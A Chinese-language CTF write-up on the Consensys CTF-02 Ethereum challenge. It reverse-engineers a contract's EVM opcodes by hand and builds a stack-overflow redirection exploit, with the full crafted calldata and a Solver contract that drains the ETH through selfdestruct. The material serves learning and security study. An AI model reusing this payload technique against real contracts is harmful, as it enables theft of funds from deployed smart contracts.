POP 0x7909947a framePointer 0x22d: PUSH2 0x234 0x7909947a framePointer 0x234 0x230: PUSH2 0x9b 0x7909947a framePointer 0x234 0x9b 0x233: JUMP 0x7909947a framePointer 0x234 0x234: JUMPDEST 0x7909947a framePointer returnValue3 0x235: POP 0x7909947a framePointer 0x236: PUSH2 0xc3 0x7909947a framePointer 0xc3 0x239: JUMP 0x7909947a framePointer => 翻译一下 function 0x7909947a_impl() public { push_stack(0x0); copy_data(); uint temp = get_stack(0) + get_stack(2); assembly{ mstore(temp, 0x00) } pad_data(); pop_stack(); pop_stack(); pop_stack(); pop_stack(); pop_stack_frame(); } function pad_data() private { while (get_stack(0) % 0x40 != 0) { uint temp0 = get_stack(0); uint temp2 = get_stack(2); assembly { mstore(temp0+temp2, 0x00) mstore(mload(0x100), add(temp0, 0x01)) } } } function copy_data() private { while (get_stack(0) - get_stack(1) != 0) { uint temp0 = get_stack(0); uint temp2 = get_stack(2); uint temp3 = get_stack(3); assembly { let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000) let temp_key := add(temp0, temp2) mstore8(temp_key, temp_val) mstore(mload(0x100), add(temp0, 0x01)) } } } function get_stack(uint i) private returns (uint256 value){ //helper M[M[0x100+0x20*i]] assembly { let temp := mload(0x100) let temp2 := sub(temp, mul(0x20, i)) value := mload(temp2) } } ``` :cry:要理解这个函数再干嘛,就需要先理解其中的copy_data和pad_data在干什么。以及调用这个函数前的堆栈的结构是怎样的。 | 0x00 | 0x200 | get_stack(0) | | :---------------------- | ----- | ------------ | | size-0x44 | 0x1e0 | get_stack(1) | | 0x0120 | 0x1c0 | get_stack(2) | | 0x90000 | 0x1a0 | get_stack(3) | | return pointer | 0x180 | get_stack(4) | | stack frme 0x7909947a() | 0x160 | get_stack(5) | | 0x00 | 0x140 | get_stack(6) | | 0x00 | 0x120 | get_stack(7) | copydata的作用是,逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。 paddata的作用是,给copyadata后,0x120后拷贝的部份数据尾巴长度不足0x40的部分给他填0。比如如果是数据尾巴在0x36,则再补充4个字节的0补齐到0x40, 如果是0x76,则也是补齐4个字节的0到0x80. 则该函数的主要作用是把数据拷贝到栈底处,并规范格式。然后退出。 ## :crossed_fingers:solidity代码整理 由于基本上所有函数都逆向出来了,现在我们可以整理下整个合约,看下整体的合约逻辑 ```js pragma solidity ^0.5.0; contract ROP { address _get; address _die; constructor(address get_, address die_) public payable { _get = get_; _die = die_; } function die() public payable { require(msg.sender == _die); selfdestruct(_die); } function get() public { require(msg.sender != _get); return _get; } function() public payable { revert(); } modifier nonPayable() { require(msg.value == 0); _; } function push_stack_frame() private { uint256 value; assembly{ value := mload(0x100) } push_stack(value) } function push_stack(uint256 value) private { uint temp; assembly{ temp := mload(0x100) mstore(add(temp, 0x20), value) mstore(0x100, add(temp, 0x20)) } } function set_impl() private{ uint temp0; uint temp1 assembly{ temp0 := mload(0x100) //M[100] temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20] sstore(mload(temp0), temp1) } pop_stack(); pop_stack(); pop_stack_frame(); } function pop_stack_frame() private { int redirectTo; int pointer; redirectTo = pop_stack(); pointer = pop_stack(); newStackPointer(pointer); // assembly { // jump(redirectTo) // } return; } function stack_pointer_init() private { assembly{ mstore(0x100, 0x100) } } function pad_data() private { while (get_stack(0) % 0x40 != 0) { uint temp0 = get_stack(0); uint temp2 = get_stack(2); assembly { mstore(temp0+temp2, 0x00) mstore(mload(0x100), add(temp0, 0x01)) } } } function copy_data() private { while (get_stack(0) - get_stack(1) != 0) { uint temp0 = get_stack(0); uint temp2 = get_stack(2); uint temp3 = get_stack(3); assembly { let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000) let temp_key := add(temp0, temp2) mstore8(temp_key, temp_val) mstore(mload(0x100), add(temp0, 0x01)) } } } function get_stack(uint i) private returns (uint256 value){ //helper M[M[0x100+0x20*i]] assembly { let temp := mload(0x100) let temp2 := sub(temp, mul(0x20, i)) value := mload(temp2) } } function 0x7909947a_impl() private { push_stack(0x0); copy_data(); uint temp = get_stack(0) + get_stack(2); assembly{ mstore(temp, 0x00) } pad_data(); pop_stack(); pop_stack(); pop_stack(); pop_stack(); pop_stack_frame(); } function set(uint256 value) public nonPayable{ push_stack_frame(); uint redirectTo = 0x344; push_stack(redirectTo); uint256 newStackPointer; assembly{ newStackPointer := calldataload(0x04) } push_stack(newStackPointer); push_stack(0x00); set_impl(); } function 0x7909947a() public { stack_pointer_init(); push_stack(0x0); uint topPointer; assembly{ topPointer := mload(0x100) } push_stack(0x0); uint size; assembly { size := calldatasize() calldatacopy(0x90000, 0x44, size) } push_stack_frame(); uint return_pointer = 0x29b; push_stack(return_pointer); push_stack(0x90000); push_stack(topPointer); push_stack(size-0x44); 0x7909947a_impl(); } } ``` ```js ``` ## :necktie: 问题分析 合约逆向出来了,但是我们的问题还是存在,如何从合约中拿到它所有的ETH呢? 思路很直接,肯定是利用die函数,但是die函数要求`msg.sender == die_`, 因此需要重写全局变量`die_`的值。又发现唯一一个能写全局变量的值的函数是`set_impl()`.分析`set_impl()`函数,其实质是将`get_stack(1)`的值写入`get_stack(0)`处。故我们需要构造一个stack,使得`get_stack(0)==0x20 & get_stack(1) == tx.origin` 以及为了使用`pop_stack_frame()`函数,需要保证一个返回位点位于`get_stack(3)==return gadget` 同时我们再之前的逆向过程中,也发现我们能够利用的唯有`0x7909967a`函数,传入data,然后再内部调用`0x7909947a_impl()`函数来利用栈溢出这一bug来重写栈。从而重新定义执行逻辑。由于再`0x7909947a_impl()`函数中,拷贝数据的逻辑由`copydata`确定。故我们需要根据`copydata`的逻辑来构造我们的data数据。 | | 0x260 | 0x20 | | :----------------------- | ----- | --------------------------------- | | | 0x240 | address(msg.sender) | | | 0x220 | return point (0x344) | | 0x00 | 0x200 | 0xff (当前拷贝的值的位置,offset) | | size-0x44 | 0x1e0 | 0x0140 | | 0x0120 | 0x1c0 | 0x0120 | | 0x90000 | 0x1a0 | 0x090000 | | return pointer | 0x180 | 0x2ea | | stack frame 0x7909947a() | 0x160 | 0x90140 | | 0x00 | 0x140 | 0x00000000.. | | 0x00 | 0x120 | 0x00000000.. | 构造这个stack时,需要仔细理解copydata的逻辑,它是逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。由于最开始开始拷贝的时候,get_stack(0) = 0x00, 故他会从我们构造好的栈底开始拷贝数据到0x120中,一直拷贝,知道get_stack(0)处,由于这个位置的数据代表的就是当前拷贝的数据数量,故拷贝值到这个位置时,需要与正确的拷贝数据值相吻合,故计算得出此时已有8个字节的数据拷贝进入,故此处应该是0xff. 第二个关键点是:我构造了栈,但是怎么保证栈顶的指针指向正确呢?也是再copydata中定义了,`mstore(mload(0x100), add(temp0, 0x01))`这句话就在不断地更新栈顶的指针,从而使得我们构造的栈也是可以正确使用的。 ```js function copy_data() private { while (get_stack(0) - get_stack(1) != 0) { uint temp0 = get_stack(0); uint temp2 = get_stack(2); uint temp3 = get_stack(3); assembly { let temp_val := div(mload(temp0+temp3), 0x0100000000000000000000000000000000000000000000000000000000000000) let temp_key := add(temp0, temp2) mstore8(temp_key, temp_val) mstore(mload(0x100), add(temp0, 0x01)) } } } ``` 所以构造的数据为:此时还需要加上前面被略去的0x44个字节 ```assembly 7909947a 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 => 0x120 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000090140 00000000000000000000000000000000000000000000000000000000000002ea 0000000000000000000000000000000000000000000000000000000000090000 0000000000000000000000000000000000000000000000000000000000000120 0000000000000000000000000000000000000000000000000000000000000140 00000000000000000000000000000000000000000000000000000000000000ff 0000000000000000000000000000000000000000000000000000000000000344 0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938 0000000000000000000000000000000000000000000000000000000000000020 => 0x260 ``` ## :haircut_man: 验证数据 好的,我们再验证一下这个数据是否能够按照我们设想的那样工作: ``` function 0x7909947a_impl() private { push_stack(0x0); copy_data(); uint temp = get_stack(0) + get_stack(2); assembly{ mstore(temp, 0x00) } pad_data(); pop_stack(); pop_stack(); pop_stack(); pop_stack(); pop_stack_frame(); } ``` 经过copydata, 之后跳过pad_data部分,弹出4个,进入到`pop_stack_frame()`中,此时的栈结构为: | size-0x44 | 0x1e0 | 0x0140 | | :----------------------- | ----- | ------------ | | 0x0120 | 0x1c0 | 0x0120 | | 0x90000 | 0x1a0 | 0x090000 | | return pointer | 0x180 | 0x2ea | | stack frame 0x7909947a() | 0x160 | 0x90140 | | 0x00 | 0x140 | 0x00000000.. | | 0x00 | 0x120 | 0x00000000.. | 然后再经过`pop_stack_frame()`后,栈的结构变为: ```js function pop_stack_frame() private { int redirectTo; int pointer; redirectTo = pop_stack(); pointer = pop_stack(); newStackPointer(pointer); assembly { jump(redirectTo) } //return; } ``` | get_stack(0) | 90140 | 0x20 | | :----------- | ----- | -------------------- | | get_stack(1) | 90120 | address(msg.sender) | | get_stack(2) | 90100 | return point (0x344) | 同时函数跳转到0x2ea位置处,即`set_impl()`处,此刻即构造成功了我们需要的栈。 ```js function set_impl() private{ uint temp0; uint temp1 assembly{ temp0 := mload(0x100) //M[100] temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20] sstore(mload(temp0), temp1) } pop_stack(); pop_stack(); pop_stack_frame(); } ``` ## :haircut_woman: 解决方案: 由此,我们最后的解决方案如下: ```js //data = 0x7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020 pragma solidity ^0.5.0; contract Target { function get()public returns (address) ; function set(uint a) public; function die() public; } contract Solver { constructor(bytes memory data) public payable { (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data); require(result); Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die(); require(address(this).balance > 0); selfdestruct(msg.sender); } } ```

Consensys CTF-02 栈溢出重定向利用

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun.com/consensys-ctf-2-rop-evm/ 这篇文章进行的分析,如有需要可以参考原文。谢绝转载!!!

不允许未经本人同意转载,本文为原创文章

问题描述:

这是Consensys 在2019年推出的有奖竞猜系列2, 比之前的CTF-01“以太坊沙盒”要难上不少。这个CTF中跟上篇文章一样也是没有公开源码,甚至于现在Etherscan上都找不到对应的合约。当然他的合约地址在0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87 。本CTF的要求很简单,利用其合约中提供的一个自毁方法,拿到所有的ETH。是不是听起来很简单呢?:smile:

OPCODE代码复原:

:point_right: 首先是借助于工具,拿到该合约的bytecode码,和机器翻译的solidity代码。https://contract-library.com/contracts/Ethereum/0xEFA51BC7AAFE33E6F0E4E44D19EAB7595F4CCA87

从工具上可以看到,存在5个公开的函数,和两个全局变量:get 占据slot0 和 die 占据slot1。

首先看函数:die()

function die() public payable { 
    require(msg.sender == _die);
    selfdestruct(_die);
}

可以看到这应该是我们最后要取得该题解答的函数,只要保证msg.sender == die即可通过selfdestruct(_dit)拿到所有的ETH,从而解答该题。看起来好像很简单的样子哦:laughing:

再看函数:get()

function get() public { 
    require(msg.sender != _get);
    return _get;
}

这个get函数应该是用来返回slot0的值的,看起来也很简单:smiley:

在分析函数:set(uint256 varg0)

function set(uint256 varg0) public payable { 
    0xe8();
    v0, v1 = 0xb4();
    MEM[MEM[256] + 32] = 836;
    MEM[MEM[256] + 32 + 32] = varg0;
    MEM[MEM[256] + 32 + 32 + 32] = 0;
    STORAGE[MEM[MEM[256] + 32 + 32 + 32]] = MEM[MEM[256] + 32 + 32 + 32 - 32];
    MEM[256] = MEM[256] + 32 + 32 + 32 - 32 - 32 - 32 - 32;
    MEM[256] = MEM[MEM[256] + 32 + 32 + 32 - 32 - 32 - 32];
}

如果仅仅看翻译过来的solidity代码,可以看到有一个给STORAGE赋值的操作,也许我们可以利用它,来将我们的msg.sender地址赋值给到die

在这里,我们需要分析下OPCODE代码,来接触到本题的核心——手动构建的栈

这里我们将逐行手动标记OPCODE的执行栈空间,来分析该set(uint256)函数. 函数签名为:60fe47b1

首先是函数选择器部分
0x0: PUSH3     0x100000     0x10000
0x4: PUSH1     0x40         0x10000 0x40
0x6: MSTORE                 
0x7: PUSH1     0x4          0x4
0x9: CALLDATASIZE           0x24
0xa: LT                     0x0
0xb: PUSH2     0x68         0x0 0x68
0xe: JUMPI                  
0xf: PUSH1     0x0          0x0
0x11: CALLDATALOAD          0x60fe47b1...
0x12: PUSH29    0x100000000000000000000000000000000000000000000000000000000     0x60fe47b1... 0x100...
0x30: SWAP1                 0x100.. 0x60fe47b1...
0x31: DIV                   0x60fe47b1
0x32: PUSH4     0xffffffff   0x60fe47b1 0xffffffff
0x37: AND                   0x60fe47b1
0x38: DUP1                  0x60fe47b1 0x60fe47b1
0x39: PUSH4     0x7909947a      
0x3e: EQ        
0x3f: PUSH2     0x23a
0x42: JUMPI     
0x43: DUP1      
0x44: PUSH4     0x60fe47b1  0x60fe47b1 0x60fe47b1 0x60fe47b1
0x49: EQ                    0x60fe47b1 0x1
0x4a: PUSH2     0x30f       0x60fe47b1 0x1 0x30f
0x4d: JUMPI                 0x60fe47b1

函数选择器首先是拿到了函数签名,然后与合约中public,external的函数签名进行比对,EQ返回1后,再跳转到对应的函数wrapper中。下面我们看线函数包装器中是怎么样的逻辑

这部分是函数包装器部分,但实际上定义了函数的整个逻辑框图 
再没有具体跳进去看每一个函数前,假设函数不影响栈结构
0x30f: JUMPDEST             0x60fe47b1
0x310: PUSH2     0x317      0x60fe47b1 0x317
0x313: PUSH2     0xe8       0x60fe47b1 0x317 0xe8
0x316: JUMP                 0x60fe47b1 0x317
0x317: JUMPDEST             0x60fe47b1
0x318: PUSH2     0x31f      0x60fe47b1 0x31f
0x31b: PUSH2     0xb4       0x60fe47b1 0x31f 0xb4
0x31e: JUMP                 0x60fe47b1 0x31f
0x31f: JUMPDEST             0x60fe47b1
0x320: PUSH2     0x32a      0x60fe47b1 0x32a
0x323: PUSH2     0x344      0x60fe47b1 0x32a 0x344
0x326: PUSH2     0x8c       0x60fe47b1 0x32a 0x344 0x8c
0x329: JUMP                 0x60fe47b1 0x32a 0x344
0x32a: JUMPDEST             0x60fe47b1
0x32b: PUSH2     0x335      0x60fe47b1 0x335
0x32e: PUSH1     0x4        0x60fe47b1 0x335 0x4
0x330: CALLDATALOAD         0x60fe47b1 0x335 Id[4:36]
0x331: PUSH2     0x8c       0x60fe47b1 0x335 Id[4:36] 0x8c
0x334: JUMP                 0x60fe47b1 0x335 Id[4:36]
0x335: JUMPDEST             0x60fe47b1 
0x336: PUSH2     0x33f      0x60fe47b1 0x33f
0x339: PUSH1     0x0        0x60fe47b1 0x33f 0x0
0x33b: PUSH2     0x8c       0x60fe47b1 0x33f 0x0 0x8c
0x33e: JUMP                 0x60fe47b1 0x33f 0x0
0x33f: JUMPDEST             0x60fe47b1
0x340: PUSH2     0x2ea      0x60fe47b1 0x2ea
0x343: JUMP                 0x60fe47b1
0x344: JUMPDEST             0x60fe47b1
0x345: PUSH1     0x0        
0x347: PUSH1     0x0
0x349: RETURN    

=> 翻译一下
function set(uint256 value) public nonPayable{
    push_stack_frame();
    uint redirectTo = 0x344;
    push_stack(redirectTo);
    uint256 newStackPointer;
    assembly{
        newStackPointer := calldataload(0x04)
    }
    push_stack(newStackPointer);
    push_stack(0x00);
    set_impl();
}
classDiagram
      start --|> 0xe8
      0xe8 --|> 0xb4
      0xb4 --|> 0x8c_0x344
      0x8c_0x344 --|> 0x8c_CALLDATALOAD
      0x8c_CALLDATALOAD --|> 0x8c_0x00
      0x8c_0x00 --|> 0x2ea

      class start {
        0x30f JUMDEST
      }

      class 0x8c_0x344{
        0x329 IN
        0x32A OUT
      }
      class 0x8c_CALLDATALOAD{
        0x331 IN
        0x335 OUT
      }
      class 0x8c_0x00{
        0x33E IN
        0x33F OUT
      }
      class 0xb4{
        0x31E IN
        0x31F OUT
      }
      class 0xe8{
          0x316 IN
          0x317 OUT
      }
      class 0x2ea{
          0x343 IN
      }

拿到函数wrapper时,先不要具体全部都跳进去看细节,我们先看下整个流程是怎样的,有几处内部调用,以及最后从哪里返回。

首先是0x30f为进入点,先调用0xe8, 然后返回到0x317, 再依次调用0xb4, 返回到0x31f, 再调用0x8c, 带参数0x344,返回到0x32a, 在调用一次0x8c, 带参数为CALLDATALOAD(0x4), 返回到0x335, 再调用0x8c, 带参数0x0, 返回到0x33f, 然后调用0x2ea函数,不确定返回值在哪。通过流程图可以清晰看到基本上是一个顺序调用的关系。接下来要分析每一个函数都在干嘛,作用是啥:cry:

:fish: 首先看0xe8

简单说是判断该函数是否是Payable,如果不是Payable, 则如果函数调用时传送了ETH,流程就会回退。

0xe8: JUMPDEST          0x60fe47b1 0x317
0xe9: CALLVALUE         0x60fe47b1 0x317 0x0
0xea: ISZERO            0x60fe47b1 0x317 0x01
0xeb: PUSH2     0xc1    0x60fe47b1 0x317 0x01 0xc1
0xee: JUMPI             0x60fe47b1 0x317

0xc1: JUMPDEST          0x60fe47b1 0x317
0xc2: JUMP              0x60fe47b1

=> 翻译成solidity
modifier nonPayable() {
    require(msg.value == 0);
    _;
}

:fish:我们再看0xb4

可以看到其在内部调用了0x8c, 然后返回到0xbf处. 简单说作用是把当前内存地址为100的值放入手动构建的栈里

0xb4: JUMPDEST              0x60fe47b1 0x31f
0xb5: PUSH2     0xbf        0x60fe47b1 0x31f 0xbf
0xb8: PUSH2     0x100       0x60fe47b1 0x31f 0xbf 0x100
0xbb: MLOAD                 0x60fe47b1 0x31f 0xbf M[100]
0xbc: PUSH2     0x8c        0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xbf: JUMPDEST              0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xc0: JUMP                  0x60fe47b1 0x31f 0xbf M[100]
此处调用函数0x8c, 参数为M[100], 函数返回再0xbf处,第二次调用栈如下:
0xbf: JUMPDEST              0x60fe47b1 0x31f
0xc0: JUMP                  0x60fe47b1

=> 翻译成solidity
function push_stack_frame() private {
    uint256 value;
    assembly{
        value := mload(0x100)
    }
    push_stack(value)
}

:fish:接下来的是0x8c

从上面的分析可以看出,该函数有一个参数,返回值为0. 简单来讲是再内存中手动构建一个栈,每次push一个值到栈顶,同时跟新栈顶指向的内存地址。注意该值是32位长,如果过长就会覆盖栈里的其他元素。这也是要解答这个题目必须理解的一点。

0x8c: JUMPDEST              0x60fe47b1 backpointer value
0x8d: PUSH1     0x20        0x60fe47b1 backpointer value 0x20
0x8f: PUSH2     0x100       0x60fe47b1 backpointer value 0x20 0x100
0x92: MLOAD                 0x60fe47b1 backpointer value 0x20 M[100]
0x93: ADD                   0x60fe47b1 backpointer value M[100]+0x20
0x94: DUP1                  0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20
0x95: PUSH2     0x100       0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x100
0x98: MSTORE                0x60fe47b1 backpointer value M[100]+0x20
0x99: MSTORE                0x60fe47b1 backpointer 
0x9a: JUMP                  0x60fe47b1

=> 翻译一下
function push_stack(uint256 value) private {
    uint temp;
    assembly{
        temp := mload(0x100)
        mstore(add(temp, 0x20), value)
        mstore(0x100, add(temp, 0x20))
    }
}

:fish:接下来是0x2ea

这个函数后面的控制流程还不清楚. 可以看到该函数内部有一个关键的OPCODE``: SSTORE, 这是我们最关心的。因为我们需要更改slot1的值,以便于获取该合约的所有Ether。同时我们可以看到再该函数内部,也调用了相当多的函数。简单看我们发现函数调用顺序是 0x2ea -> 0x9b -> 0x9b -> 0xc3. 可以猜测0x9b不需要参数,但返回1个值到栈里,0xc3也不需要参数

0x2ea: JUMPDEST             0x60fe47b1
0x2eb: PUSH1     0x20       0x60fe47b1 0x20
0x2ed: PUSH2     0x100      0x60fe47b1 0x20 0x100
0x2f0: MLOAD                0x60fe47b1 0x20 M[100]
0x2f1: SUB                  0x60fe47b1 M[100]-0x20
0x2f2: MLOAD                0x60fe47b1 M[M[100]-0x20]
0x2f3: PUSH2     0x100      0x60fe47b1 M[M[100]-0x20] 0x100
0x2f6: MLOAD                0x60fe47b1 M[M[100]-0x20] M[100]
0x2f7: MLOAD                0x60fe47b1 M[M[100]-0x20] M[M[100]]
0x2f8: SSTORE               0x60fe47b1
0x2f9: PUSH2     0x300      0x60fe47b1 0x300
0x2fc: PUSH2     0x9b       0x60fe47b1 0x300 0x9b
0x2ff: JUMP                 0x60fe47b1 0x300
0x300: JUMPDEST             0x60fe47b1 returnValue
0x301: POP                  0x60fe47b1
0x302: PUSH2     0x309      0x60fe47b1 0x309
0x305: PUSH2     0x9b       0x60fe47b1 0x309 0x9b
0x308: JUMP                 0x60fe47b1 0x309
0x309: JUMPDEST             0x60fe47b1 returnValue
0x30a: POP                  0x60fe47b1
0x30b: PUSH2     0xc3       0x60fe47b1 0xc3
0x30e: JUMP                 0x60fe47b1
=> 翻译一下
function set_impl() private{
    uint temp0;
    uint temp1
    assembly{
        temp0 := mload(0x100) //M[100]
        temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
        sstore(mload(temp0), temp1)
    }
    pop_stack();
    pop_stack();
    pop_stack_frame();
}

:duck: 先整体理解下0x2ea, 它主要将栈顶的值作为键,将栈里第1个元素的值作为值,储存再以太坊上。然后将栈里的值弹出来,弹出两个栈里的值,然后弹出栈的Frame。

:fish:先看0x9b函数,

简单看是拿到栈顶的元素,然后将栈的指针向下移动0x20

0x9b: JUMPDEST              0x60fe47b1 backpointer
0x9c: PUSH2     0x100       0x60fe47b1 backpointer 0x100    
0x9f: MLOAD                 0x60fe47b1 backpointer M[100]
0xa0: MLOAD                 0x60fe47b1 backpointer M[M[100]]
0xa1: PUSH1     0x20        0x60fe47b1 backpointer M[M[100]] 0x20
0xa3: PUSH2     0x100       0x60fe47b1 backpointer M[M[100]] 0x20 0x100
0xa6: MLOAD                 0x60fe47b1 backpointer M[M[100]] 0x20 M[100]
0xa7: SUB                   0x60fe47b1 backpointer M[M[100]] M[100]-0x20
0xa8: PUSH2     0x100       0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0x100
0xab: MSTORE                0x60fe47b1 backpointer M[M[100]]
0xac: SWAP1                 0x60fe47b1 M[M[100]] backpointer
0xad: JUMP                  0x60fe47b1 M[M[100]]

=> 翻译一下
function pop_stack() private returns (uint256) {
    uint value;
    uint temp;
    assembly{
        temp := mload(0x100)
        value := mload(temp)
        mstore(0x100, sub(temp, 0x20))
    }
    return value;
}

:fish:再看0xc3函数,

可以看淡这个函数里面也是调用了多个函数。函数调用顺序为:0xc3 -> 0x9b -> 0x9b -> 0xae -> J(returnValue) 简单来说,弹出两个栈里的值,第一个值作为后面流程重定向的位置,第二个值作为新的STACK的内存起点

0xc3: JUMPDEST              0x60fe47b1
0xc4: PUSH2     0xcb        0x60fe47b1 0xcb
0xc7: PUSH2     0x9b        0x60fe47b1 0xcb 0x9b        
0xca: JUMP                  0x60fe47b1 0xcb
0xcb: JUMPDEST              0x60fe47b1 returnValue
0xcc: PUSH2     0xd3        0x60fe47b1 returnValue 0xd3
0xcf: PUSH2     0x9b        0x60fe47b1 returnValue 0xd3 0x9b
0xd2: JUMP                  0x60fe47b1 returnValue 0xd3 
0xd3: JUMPDEST              0x60fe47b1 returnValue returnValue2
0xd4: PUSH2     0xdc        0x60fe47b1 returnValue returnValue2 0xdc
0xd7: SWAP1                 0x60fe47b1 returnValue 0xdc returnValue2
0xd8: PUSH2     0xae        0x60fe47b1 returnValue 0xdc returnValue2 0xae
0xdb: JUMP                  0x60fe47b1 returnValue 0xdc returnValue2
0xdc: JUMPDEST              0x60fe47b1 returnValue 
0xdd: JUMP                  0x60fe47b1 J(returnValue)
0xde: JUMPDEST  

=> 翻译一下
function pop_stack_frame() private {
    int redirectTo;
    int pointer;
    redirectTo = pop_stack();
    pointer = pop_stack();
    newStackPointer(pointer);
    assembly {
        jump(redirectTo)
    }
}

:fish:我们看0xae 函数,

这个函数很简单,就是把它的参数赋值到M[100]中,但意义很重大,意义是定义新的STACK的内存起点。因为STack的内存起点就是M[100]

0xae: JUMPDEST              0x60fe47b1 returnValue 0xdc returnValue2
0xaf: PUSH2     0x100       0x60fe47b1 returnValue 0xdc returnValue2 0x100
0xb2: MSTORE                0x60fe47b1 returnValue 0xdc 
0xb3: JUMP                  0x60fe47b1 returnValue
=> 翻译一下
function newStackPointer(uint256 pointer) {
    assembly{
        mstore(0x100, pointer)
    }
}

:rainbow:分析到这里,需要我们梳理一下手动构造的栈里到底存了啥?set(uint256 varg0)函数到底干了什么

function set(uint256 value) public nonPayable{
    push_stack_frame();
    uint redirectTo = 0x344;
    push_stack(redirectTo);
    push_stack(value);
    push_stack(0x00);
    set_impl();
}
function set_impl() private{
    uint temp0;
    uint temp1
    assembly{
        temp0 := mload(0x100) //M[100]
        temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
        sstore(mload(temp0), temp1)
    }
    pop_stack();
    pop_stack();
    pop_stack_frame();
}
function pop_stack_frame() private {
    int redirectTo;
    int pointer;
    redirectTo = pop_stack();
    pointer = pop_stack();
    newStackPointer(pointer);
    assembly {
        jump(redirectTo)
    }
}
label redirectTo: 
    0x344: JUMPDEST  
    0x345: PUSH1     0x0
    0x347: PUSH1     0x0
    0x349: RETURN   
=> 翻译一下
function set(uint256 value) public nonPayable {
    assembly{
        sstore(0x00, value)
    }
}

:rainbow_flag: 该函数首先是把frame压到栈里,再压入后面的redirectTo重定向位点压入栈里,再压入栈顶指针,再压入0x00,后面将栈顶的值作为key,栈里顺序1的元素作为值写到以太坊中。之后弹出栈顶0x00, 弹出栈顶指针,弹出重定向位点,并保存到redirecTo变量中,再弹出frame,并把frame作为新的栈顶指针创建新的栈,最后跳转到重定向位点。

:honey_pot: 分析蜜汁函数0x7909947a()

可以看到这个函数内部也是调用了很多其他的函数。函数调用顺序为:

0x23a -> 0xde -> 0x8c(0x0) -> 0x8c(0x0) -> 0xb4 -> 0x8c(0x29b) -> 0x8c(90000) -> 0x8c(0x28a) -> 0x8c(size) -> 0x15d

0x23a: JUMPDEST                 0x7909947a 
0x23b: PUSH2     0x242          0x7909947a 0x242
0x23e: PUSH2     0xde           0x7909947a 0x242
0x241: JUMP                     0x7909947a 0x242      
0x242: JUMPDEST                 0x7909947a
0x243: PUSH2     0x24c          0x7909947a 0x24c
0x246: PUSH1     0x0            0x7909947a 0x24c 0x0
0x248: PUSH2     0x8c           0x7909947a 0x24c 0x0 0x8c
0x24b: JUMP                     0x7909947a 0x24c 0x0
0x24c: JUMPDEST                 0x7909947a
0x24d: PUSH2     0x100          0x7909947a 0x100
0x250: MLOAD                    0x7909947a M[100]
0x251: PUSH2     0x25a          0x7909947a M[100] 0x25a
0x254: PUSH1     0x0            0x7909947a M[100] 0x25a 0x0
0x256: PUSH2     0x8c           0x7909947a M[100] 0x25a 0x0 0x8c
0x259: JUMP                     0x7909947a M[100] 0x25a 0x0
0x25a: JUMPDEST                 0x7909947a M[100]
0x25b: CALLDATASIZE             0x7909947a M[100] size
0x25c: PUSH1     0x44           0x7909947a M[100] size 0x44
0x25e: PUSH3     0x90000        0x7909947a M[100] size 0x44 0x90000
0x262: CALLDATACOPY             0x7909947a M[100]
0x263: PUSH2     0x26a          0x7909947a M[100] 0x26a 
0x266: PUSH2     0xb4           0x7909947a M[100] 0x26a 0xb4
0x269: JUMP                     0x7909947a M[100] 0x26a
0x26a: JUMPDEST                 0x7909947a M[100]
0x26b: PUSH2     0x275          0x7909947a M[100] 0x275
0x26e: PUSH2     0x29b          0x7909947a M[100] 0x275 0x29b
0x271: PUSH2     0x8c           0x7909947a M[100] 0x275 0x29b 0x8c
0x274: JUMP                     0x7909947a M[100] 0x275 0x29b
0x275: JUMPDEST                 0x7909947a M[100]
0x276: PUSH2     0x281          0x7909947a M[100] 0x281
0x279: PUSH3     0x90000        0x7909947a M[100] 0x281 0x90000
0x27d: PUSH2     0x8c           0x7909947a M[100] 0x281 0x90000 0x8c
0x280: JUMP                     0x7909947a M[100] 0x281 0x90000
0x281: JUMPDEST                 0x7909947a M[100]
0x282: PUSH2     0x28a          0x7909947a M[100] 0x28a
0x285: DUP2                     0x7909947a M[100] 0x28a topPointer
0x286: PUSH2     0x8c           0x7909947a M[100] 0x28a topPointer 0x8c
0x289: JUMP                     0x7909947a M[100] 0x28a 0x28a
0x28a: JUMPDEST                 0x7909947a M[100]
0x28b: PUSH2     0x296          0x7909947a M[100] 0x296
0x28e: PUSH1     0x44           0x7909947a M[100] 0x296 0x44
0x290: CALLDATASIZE             0x7909947a M[100] 0x296 0x44 size
0x291: SUB                      0x7909947a M[100] 0x296 size-0x44
0x292: PUSH2     0x8c           0x7909947a M[100] 0x296 size-0x44 0x8c
0x295: JUMP                     0x7909947a M[100] 0x296 size-0x44
0x296: JUMPDEST                 0x7909947a M[100]
0x297: PUSH2     0x15d          0x7909947a M[100] 0x15d
0x29a: JUMP                     0x7909947a M[100]
0x29b: JUMPDEST                 0x7909947a M[100] 
